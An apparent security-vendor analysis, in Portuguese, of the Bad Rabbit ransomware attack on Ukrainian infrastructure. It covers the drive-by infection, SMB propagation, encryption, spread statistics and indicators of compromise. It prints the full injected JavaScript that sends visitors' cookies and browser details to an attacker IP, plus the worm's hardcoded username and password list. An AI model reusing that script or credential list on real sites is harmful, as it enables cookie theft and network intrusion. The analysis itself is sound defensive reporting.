Um novo surto de ransomware atacou ontem (24) a grandes infraestruturas na Ucrânia, incluindo o Metrô de Kiev. Assim como prometemos, realizamos uma análise mais detalhada e a seguir apresentamos os resultados desta nova variante do Diskcoder.D.

Drive-by download via watering hole em sites populares

Um dos métodos de distribuição do Bad Rabbit é um drive-by download. Alguns sites populares são comprometidos e neles se injeta JavaScript no HTML ou em um de seus arquivos .js.

Aqui está uma versão pólida da injeção:

function e(d) {
  var xhr = null;
  if (!!window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else if (!!window.ActiveXObject) {
    var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
    for (var i = 0; i < xhrs.length; i++) {
      try {
        xhr = ActiveXObject(xhrs[i]);
        break;
      } catch (e) {}
    }
  }
  if (!!xhr) {
    xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
    xhr.timeout = 10000;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4 && xhr.status == 200) {
        var resp = xhr.responseText;
        if (resp) {
          var fans = JSON.parse(resp);
          if (fans) {
            var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
            var da = document.createElement('div');
            da.id = 'ans';
            da.innerHTML = an_s;
            document.body.appendChild(da);
          }
        }
      }
    };
    var pd = [];
    for (var k in d) {
      if (d.hasOwnProperty(k)) {
        pd.push(k + '=' + d[k]);
      }
    }
    var dc = pd.join('&');
    xhr.send(dc);
  }
}
e({
  'agent': navigator.userAgent,
  'referer': document.referrer,
  'cookie': document.cookie,
  'domain': window.location.hostname,
  'c_state': !!document.cookie
});

Este script relata os seguintes componentes a 185.149.120[.]3, que não parece responder neste momento.

  • User-Agent do navegador
  • Referrer
  • Cookie do site visitado
  • Nome de domínio do site visitado

A lógica de programação do lado do servidor pode determinar se o visitante é um alvo de interesse e, em seguida, adicionar conteúdo na página. Temos observado como aparece um pop-up solicitando o download de uma atualização do Flash Player no meio da página.

Ao clicar no botão "Instalar", se inicia o download de um arquivo executável desde 1dnscontrol[.]com. Este executável, install_flash_player.exe, é o dropper do Win32/Filecoder.D.

Em seguida, o computador finalmente é boqueado e aparece o pedido de resgate típico do ransomware:

Esta é a página para fazer o pagamento:Propagação via SMB

Win32/Diskcoder.D tem a habilidade de se propagar através do protocolo Server Message Block (SMB). Diferentemente de alguns relatos que estão circulando, não explora a vulnerabilidade EternalBlue como foi o caso do surto do Win32/Diskcoder.C (Not-Petya).

Primeiro, a ameaça escaneia a rede interna em busca destes componentes abertos do SMB:

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

Se executa o Mimikatz no equipamento comprometido para coletar credenciais. Também existe uma lista hardcodeada de nomes de usuários e senhas.

Usernames Passwords
Administrator Administrator
Admin administrator
Guest Guest
User guest
User1 User
user-1 user
Test Admin
root adminTest
buh test
boss root
ftp 123
rdp 1234
rdpuser 12345
rdpadmin 123456
manager 1234567
support 12345678
work 123456789
other user 1234567890
operator Administrator123
backup administrator123
asus Guest123
ftpuser guest123
ftpadmin User123
nas user123
nasuser Admin123
nasadmin admin123Test123
superuser test123
netguest password
alex 111111
55555
77777
777
qwe
qwe123
qwe321
qwer
qwert
qwerty
qwerty123
zxc
zxc123
zxc321
zxcv
uiop
123321
321
love
secret
sex
god

Quando as credenciais funcionais são encontradas, se realiza o download do arquivo infpub.dat no diretório do Windows e se executa através do SCManager e rundll.exe.

Criptografia

O Win32/Diskcoder.D é uma versão modificada do Win32/Diskcoder.C, na qual foram corrigidos alguns bugs na criptografia de arquivos. Agora usa o DiskCryptor, um software open source legítimo usado para fazer criptografia de unidades completas. As chaves são geradas usando CryptGenRandom e, em seguida, são protegidas com uma chave pública RSA 2048 hardcodeada.

Os arquivos criptografados tem a extensão .encrypted. Como antes, utiliza AES-128-CBC.

Distribuição

A telemetria da ESET mostra que a Ucrânia agora tem 12,2% do total de casos em que vemos o dropper. Estas são as estatísticas:

  • Rússia: 65%
  • Ucrânia: 12.2%
  • Bulgária: 10.2%
  • Turquia: 6.4%
  • Japão: 3.8%
  • Outros: 2.4%

Isso se assemelha bastante com a distribuição de sites comprometidos que incluem o JavaScript malicioso. Então, por que a Ucrânia parece ser mais atacada que o resto?

É interessante notar que todos os alvos foram atacados ao mesmo tempo. É possível que o grupo já tivesse um pé dentro das redes e executado o ataque watering hole simultaneamente como foi destacado. Nada indica que tenham caído devido a falsa atualização do Flash.

A ESET continua pesquisando e publicaremos nossas descobertas a medida que avancemos.

Amostras

SHA-1 Filename ESET Detection name Description
79116fe99f2b421c52ef64097f0f39b815b20907 infpub.dat Win32/Diskcoder.D Diskcoder
afeee8b4acff87bc469a6f0364a81ae5d60a2add dispci.exe Win32/Diskcoder.D Lockscreen
413eba3973a15c1a6429d9f170f3e8287f98c21c Win32/RiskWare.Mimikatz.X Mimikatz (32-bits)
16605a4a29a101208457c47ebfde788487be788d Win64/Riskware.Mimikatz.X Mimikatz (64-bits)
de5c8d858e6e41da715dca1c019df0bfb92d32c0 install_flash_player.exe Win32/Diskcoder.D Dropper
4f61e154230a64902ae035434690bf2b96b4e018 page-main.js JS/Agent.NWC JavaScript on compromised sites

Servidores do C&C

Site de pagamento: http://caforssztxqzf2nm[.]onion

URL do injecthttp://185.149.120[.]3/scholargoogle/

URL da distribuição: hxxp://1dnscontrol[.]com/flash_install.php

Lista de sites comprometidos:

  • hxxp://argumentiru[.]com
  • hxxp://www.fontanka[.]ru
  • hxxp://grupovo[.]bg
  • hxxp://www.sinematurk[.]com
  • hxxp://www.aica.co[.]jp
  • hxxp://spbvoditel[.]ru
  • hxxp://argumenti[.]ru
  • hxxp://www.mediaport[.]ua
  • hxxp://blog.fontanka[.]ru
  • hxxp://an-crimea[.]ru
  • hxxp://www.t.ks[.]ua
  • hxxp://most-dnepr[.]info
  • hxxp://osvitaportal.com[.]ua
  • hxxp://www.otbrana[.]com
  • hxxp://calendar.fontanka[.]ru
  • hxxp://www.grupovo[.]bg
  • hxxp://www.pensionhotel[.]cz
  • hxxp://www.online812[.]ru
  • hxxp://www.imer[.]ro
  • hxxp://novayagazeta.spb[.]ru
  • hxxp://i24.com[.]ua
  • hxxp://bg.pensionhotel[.]com
  • hxxp://ankerch-crimea[.]ru